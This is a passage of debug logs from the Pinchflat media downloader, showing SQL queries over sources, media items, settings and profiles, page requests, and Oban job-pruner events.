source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 00:59:00.585 [debug] QUERY OK source="media_items" db=0.0ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 00:59:00.585 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 00:59:00.586 [info] Sent 200 in 14ms 00:59:29.422 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 00:59:59.424 [info] {"source":"oban","duration":1032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:00.135 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:00:29.426 [info] {"source":"oban","duration":1184,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:00:59.428 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:00.136 [info] {"source":"oban","duration":467,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:01:12.971 [info] GET /sources/1/media/112 01:01:12.972 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "112", "source_id" => "1"} Pipelines: [:browser] 01:01:12.972 [debug] QUERY OK source="media_items" db=0.3ms idle=1376.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [112] 01:01:12.973 [debug] QUERY OK source="tasks" db=0.2ms idle=453.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [112] 01:01:12.973 [debug] QUERY OK source="sources" db=0.5ms idle=453.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:01:12.974 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=453.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [111] 01:01:12.975 [debug] QUERY OK source="settings" db=0.2ms idle=376.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:12.975 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:12.976 [debug] QUERY OK source="settings" db=0.1ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:12.977 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:01:12.979 [info] Sent 200 in 7ms 01:01:20.248 [info] GET /settings 01:01:20.248 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 01:01:20.249 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1729.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:20.251 [debug] QUERY OK source="settings" db=0.4ms idle=1730.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:20.251 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1730.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:20.253 [debug] QUERY OK source="settings" db=0.3ms idle=1642.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:01:20.255 [info] Sent 200 in 7ms 01:01:29.430 [info] {"source":"oban","duration":1446,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:01:59.432 [info] {"source":"oban","duration":1121,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:00.137 [info] {"source":"oban","duration":341,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:02:29.434 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:02:52.068 [info] GET /sources/1/media/113 01:02:52.068 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "113", "source_id" => "1"} Pipelines: [:browser] 01:02:52.069 [debug] QUERY OK source="media_items" db=0.3ms idle=1548.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [113] 01:02:52.070 [debug] QUERY OK source="tasks" db=0.4ms idle=549.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [113] 01:02:52.070 [debug] QUERY OK source="sources" db=0.5ms idle=1273.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:02:52.071 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=550.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [112] 01:02:52.071 [debug] QUERY OK source="settings" db=0.3ms idle=273.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:02:52.072 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:02:52.073 [debug] QUERY OK source="settings" db=0.1ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:02:52.074 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 01:02:52.078 [info] Sent 200 in 9ms 01:02:59.436 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:00.138 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:03:04.229 [info] GET /media_profiles 01:03:04.230 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 01:03:04.231 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.3ms idle=710.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 01:03:04.232 [debug] QUERY OK source="settings" db=0.1ms idle=711.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:03:04.232 [debug] QUERY OK source="settings" db=0.1ms idle=711.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:03:04.233 [debug] QUERY OK source="settings" db=0.1ms idle=712.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:03:04.234 [info] Sent 200 in 4ms 01:03:29.438 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:03:59.440 [info] {"source":"oban","duration":1227,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:00.139 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:04:29.441 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:04:59.443 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:00.140 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:05:16.307 [info] GET /app_info 01:05:16.307 [info] GET /sources 01:05:16.307 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 01:05:16.307 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 01:05:16.308 [debug] QUERY OK source="settings" db=0.4ms idle=1788.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.309 [debug] QUERY OK source="settings" db=0.7ms idle=1225.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.309 [debug] QUERY OK source="settings" db=0.3ms idle=788.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.309 [debug] QUERY OK source="settings" db=0.2ms idle=789.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.310 [debug] QUERY OK source="settings" db=0.3ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.310 [debug] QUERY OK source="settings" db=0.4ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.312 [debug] QUERY OK source="settings" db=0.4ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.312 [debug] QUERY OK source="settings" db=0.4ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.312 [debug] QUERY OK source="settings" db=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.312 [debug] QUERY OK source="settings" db=0.2ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 01:05:16.313 [info] Sent 200 in 6ms 01:05:16.314 [debug] QUERY OK source="sources" db=1.1ms idle=2.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 01:05:16.317 [debug] QUERY OK source="sources" db=2.5ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 01:05:16.321 [info] Sent 200 in 13ms 01:05:29.445 [info] {"source":"oban","duration":934,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:05:59.447 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 01:06:00.141 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 01:06:22.766 [info] GET /sources/1/media/110 01:06:22.767 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "110", "source_id" => "1"} Pipelines: [:browser] 01:06:22.767 [debug] QUERY OK source="media_items" db=0.3ms idle=1247.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [110] 01:06:22.768 [debug] QUERY OK source="tasks" db=0.2ms idle=1247.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [110] 01:06:22.768 [debug] QUERY OK source="sources" db=0.4ms idle=1247.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 01:06:22.769 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=553.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", 